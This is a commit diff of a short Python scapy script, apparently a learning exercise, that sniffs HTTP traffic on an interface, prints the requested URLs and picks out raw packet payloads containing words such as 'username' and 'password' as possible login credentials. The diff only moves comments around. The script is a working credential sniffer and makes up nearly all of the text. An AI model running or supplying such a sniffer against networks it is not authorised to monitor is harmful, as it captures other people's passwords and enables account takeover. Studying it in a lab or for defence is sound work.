1
1
import scapy .all as scapy
2
- from scapy .layers import http # pip install scapy_http
3
-
2
+ from scapy .layers import http
4
3
# from scapy_http import http
5
4
6
5
def get_url (packet ):
7
- return packet [http .HTTPRequest ].Host + packet [http .HTTPRequest ].Path #for detecting urls
6
+ #for detecting urls
7
+ return packet [http .HTTPRequest ].Host + packet [http .HTTPRequest ].Path
8
8
9
9
10
10
def sniff (interface ):
11
- scapy .sniff (iface = interface , store = False , prn = process_sniffed_packet ) #prn it will excute a function which we will give it after capturing packet
11
+ #prn it will excute a function which we will give it after capturing packet
12
+ scapy .sniff (iface = interface , store = False , prn = process_sniffed_packet )
12
13
13
14
14
15
def get_login_info (packet ):
15
16
if packet .haslayer (scapy .Raw ):
16
- # print(packet[scapy.Raw].load) #finding and printing Raw layer
17
+ #finding and printing Raw layer
18
+ # print(packet[scapy.Raw].load)
17
19
load = packet [scapy .Raw ].load
18
20
keywords = ["username" , "user" , "login" ,"password" , "pass" ]
19
21
for keyword in keywords :
20
22
if keyword in load :
21
23
return load
22
24
23
25
24
- #store =dont store memory on this pc
25
-
26
- def process_sniffed_packet (packet ): # for http only
26
+
27
+ def process_sniffed_packet (packet ):
27
28
if packet .haslayer (http .HTTPRequest ):
28
29
url = get_url (packet )
29
30
print ("[+] HTTP REQUEST >> \n " + url )
@@ -33,9 +34,5 @@ def process_sniffed_packet(packet): # for http only
33
34
print ("\n \n [+] possible username/password >>" + login_info + "\n \n " )
34
35
35
36
36
-
37
- sniff ("eth0" ) #----interfaceon which you want to sniff
38
-
39
-
40
- ## imp -----> python sniffer.py
41
- ##code is not in python3
37
+ #----interfaceon which you want to sniff
38
+ sniff ("eth0" )
0 commit comments